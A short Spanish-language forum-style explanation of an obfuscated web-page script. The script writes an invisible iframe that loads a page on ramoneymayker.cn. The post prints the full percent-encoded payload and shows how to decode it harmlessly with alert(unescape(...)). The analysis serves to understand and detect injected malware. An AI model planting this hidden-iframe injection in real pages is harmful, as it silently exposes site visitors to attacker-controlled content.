Crea un iframe invisible cuyo src es
http://ramoneymayker.cn/sell.php
Para comprobar el contenido basta con que ejecutes esto en el navegador:
Código:
<script>alert(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%38%38%62%61%61%32%62%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%72%61%6d%6f%6e%65%79%6d%61%79%6b%65%72%2e%63%6e%2f%73%65%6c%6c%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%33%38%30%35%32%29%2b%27%38%5c%27%20%77%69%64%74%68%3d%33%30%32%20%68%65%69%67%68%74%3d%31%32%36%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>